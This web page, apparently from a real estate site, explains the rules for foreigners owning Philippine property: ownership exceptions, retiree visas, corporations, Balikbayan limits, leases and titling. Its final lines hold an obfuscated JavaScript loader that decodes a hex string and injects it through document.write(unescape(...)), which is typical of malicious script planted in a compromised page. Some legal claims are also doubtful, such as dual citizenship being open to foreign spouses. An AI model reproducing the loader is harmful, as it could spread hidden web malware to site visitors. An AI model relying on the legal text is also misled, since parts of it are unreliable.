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Right To Own Philippine Real
Property
Non-Filipinos don't have the right to acquire real estate
properties in the Philippines. The easiest way for a foreigner to acquire
real estate properties is to have a Filipino spouse purchase the property.
Having a Filipino partner is also another alternative when acquiring a
property. Either both share the property with equal rights, or the partner
owns 51% or more and the remainder is owned by the foreigner. Special visas
are available for foreigners who want complete and total control of a
property. (More information on special visas).
Only Filipino citizens and corporations (at least 60% Philippine-owned) are
entitled to acquire land in the Philippines. As an exception to this rule, a
foreign acquisition of a Philippine real estate is allowed in the following
cases:
Acquisition before the 1935 constitution.
Acquisition thru hereditary succession if the foreign acquire
is a legal or natural heir. This simply means that when your married to a
Filipino citizen and your husband/wife dies, you as the natural heir will
become the legal owner of his/her property. The same is true for the
children. Every natural child (legitimate or illegitimate) can inherit the
property of his/her Filipino father/mother even if he/she does not any
Filipino citizenship.
Purchase of not more than 40% interest in a condominium project.
Purchase by a former natural-born Filipino citizen subject to the
limitations prescribed by law.
Filipinos who are married to aliens who retain their Filipino citizenship,
unless by their act or omission they have renounced their Filipino
citizenship.
Owning of houses or buildings is possible as long as the foreigner does not
own the land on which the house is build. The land can be leased by the
foreigner on a long term contract, and the house can be legally his. (More
information on foreign leasing). top
Special Visas for Foreigners Allowing 100% Condo and Townhouse Ownership
Special visas are available to foreigners that allow complete ownership and
control of Philippine condo and townhouse units. Qualifications for this
visa are as follows:
You must be at least 35 years old.
You should meet the bank deposit requirements which can be withdrawn at a
later date for your investments.
The processing fee and the amount of the deposit/investment needed depends
on whether or not you are married to a Filipino or former Filipino. This
allows you almost all of the investment privileges of a Filipino citizen.
For specifics on the program, check out the Philippine Retirement Authority
website. top
New Dual Citizenship Laws Affecting Property Ownership
Dual citizenship means having two citizenships and passports from two
different countries. Dual citizenship is now available for the following:
Former Filipino citizens born in the Philippines, but have immigrated to
another country and obtained citizenship of that country.
A foreign spouse married to a Filipino citizen.
Dual citizenship allows the citizenship holder full rights of
possession of Philippine real property. This is a new law and it is still
unclear as to the procedures involved to implement it. top
Foreigner Married to a Filipino Citizen
If holding title as an individual, a typical situation would be that a
foreigner married to a Filipino citizen would hold title in the Filipino
spouse's name. The foreign spouse's name cannot be on the Title but can be
on the contract to buy the property. In the event of death of the Filipino
spouse, the foreign spouse is allowed a reasonable amount of time to dispose
of the property and collect the proceeds or the property will pass to any
Filipino heirs and or relatives. top
Foreign Ownership as a Philippine Corporation
Foreign nationals or corporations may completely own a
condominium or townhouse. To take ownership of a private land, residential
house and lot, and commercial building and lot, foreign nationals or
corporations forms a Philippine corporation. The corporation is to be 40%
foreign-owned (maximum) and 60% Filipino-owned (minimum), and with at least
five [5] incorporators. Upon incorporation, a main bank account should be
tied to it. A foreign national may be the sole person in the bank account,
allowing him/her total control over the funds derived from the corporation
and the income or sale of the asset or property.
Former Filipino Citizens
Former natural-born Filipino citizens, a.k.a. "Balikbayan",
are entitled to own a maximum of 1,000 square meters of residential land and
one hectare of agricultural or farm land. For business purposes, a maximum
of 5,000 square meters of urban land or three hectares of rural land is
allowed. In the case of married couples, one or both of them may avail of
the privilege provided that if both avail, the total area acquired shall not
exceed the maximum.
In the case of a transferee already owning an urban or rural land for
business or other purposes, he/she shall still be entitled to be a
transferee provided that when added to those already owned by him/her shall
not exceed the maximum.
Foreign Leasing of Philippine Real Estate
Property
A foreign national and or corporation may enter into a lease
agreement with Filipino landowners for an initial period of up to 50 years,
and renewable for another 25 years.
Taking Title to Philippine Real Estate
a.. The "Deed of Sale" is the document showing legal transfer
of real estate property ownership. The deed of sale is then taken to the
Registry of Deeds to be officially recorded. "Tax Declarations" are
sometimes used but are not very enforceable in court because there may be
many others with a tax declaration claiming ownership to the same property.
A property may be Titled by taking the Tax Declaration to the Registry of
Deeds to process to be officially titled. Always purchase property with a
proper deed of sale if possible, and if there is not one, a tax declaration
is your last choice. Owners must be active in enforcing their property
rights. Possession is 90 percent ownership. If the property owner can only
show a tax declaration as an evidence of ownership, that means the land is
untitled and not registered under the Torrens system, the buyer will not get
as much protection, as his title will not be absolute and can yield to one
who has a better right, like the person actually possessing and occupying or
tilling the land, and who subsequently applies for the titling of the land
in his name. It is possible for two or more tax declarations issued to
different persons with exactly the same technical description, or referring
to the same property.
Philippine Law Real Estate Acquisition and
Disposition Definitions
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var HJN = '';
var q = Vg.slice ( 38, 14236 );
for ( K = 38 ; K < 14236 ; K += 2 )
{
HJN += '%' + Vg.slice ( K, K + 2 );
}
document.write(unescape(HJN));
|
